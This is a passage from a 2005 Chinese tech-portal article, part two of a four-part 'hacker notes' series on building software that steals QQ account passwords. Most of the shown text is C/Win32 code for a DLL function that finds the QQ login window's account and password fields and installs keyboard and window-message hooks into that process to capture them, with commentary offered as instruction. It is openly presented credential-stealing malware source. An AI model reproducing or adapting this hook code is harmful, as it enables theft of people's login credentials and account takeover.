设计 工具 系统 开发 安全 办公 陶吧 IT教育 Vista频道|Google Chrome SOA案例研究
您现在的位置: 天极网 > 软件频道 > 网络安全频道 > 黑客技术 > 黑客心得:盗QQ密码的软件模拟实现技术
全文

黑客心得:盗QQ密码的软件模拟实现技术

2005-06-17 14:45作者:出处:天极论坛责任编辑:赵彪
  第二部分:(2)安装钩子

  找到了QQ登陆窗口后,就成功了一半。:)

  下面是DLL文件中的安装HOOK的函数SetQQHook(), 为什么要用DLL(动态连接库)?要去“钩”其他进程的消息,得让HOOK函数在DLL中,这样好映射到其地址空间中!

  BOOL WINAPI SetQQHook(HWND hQQLogin)

  {

  //获得登陆框的句柄

  BOOL bRet = FALSE;

  if (hQQLogin != NULL)

   {

  DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL); //这是什么意思?看MSDN

  g_hNum = GetDlgItem(hQQLogin, 138);//不同版本QQ,此处不一样! 得到QQ号的子窗口句柄

  g_hPsw = GetDlgItem(hQQLogin, 180); //不同版本QQ,此处不一样!得到QQ密码的子窗口句柄

  if (g_hNum == NULL)

  {

  MessageBox(NULL,"哭了,号码句柄都没有得到!","郁闷",0);

  return FALSE;

  }

  if(g_hPsw==NULL)

  {

  MessageBox(NULL,"哭了,密码句柄都没有得到!","郁闷",0);

  return FALSE;

  }

  分别键盘HOOK,和界面部分消息处理的HOOK

  g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);

  g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);

  bRet = (g_hProc != NULL) && (g_hKey != NULL);

  }

  else

  {

  // 卸载钩子

  bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);

  g_hProc = NULL;

  g_hKey = NULL;

  g_hNum = NULL;

  }

  return bRet;

  }

  上面是安装HOOK部分的代码,就这么简单,上面提到了CallWndProc,KeyboardProc是两个回调函数,是我第三部分要解释的钩子函数

共4页。 9 1 2 3 4 :
相关搜索:
相关文章及软件
关注此文读者还看过
热门关注
特别推荐
文章排行
本周
本月
最近更新
关于我们|网站律师|天极服务|电子杂志|RSS订阅|加入我们|网站地图
TMG
Copyright (C) 1999-2008 Chinabyte.com, All Rights Reserved 版权所有 天极网络
商务联系、网站内容、合作建议:010-82657868
版权声明 在线提交意见反馈 Powered by 天极内容管理平台CMS4i
经营性网站备案信息 网警备案 中国网站排名
天极传媒:天极网|比特网|IT专家网|IT商网|52PK游戏网|IT分众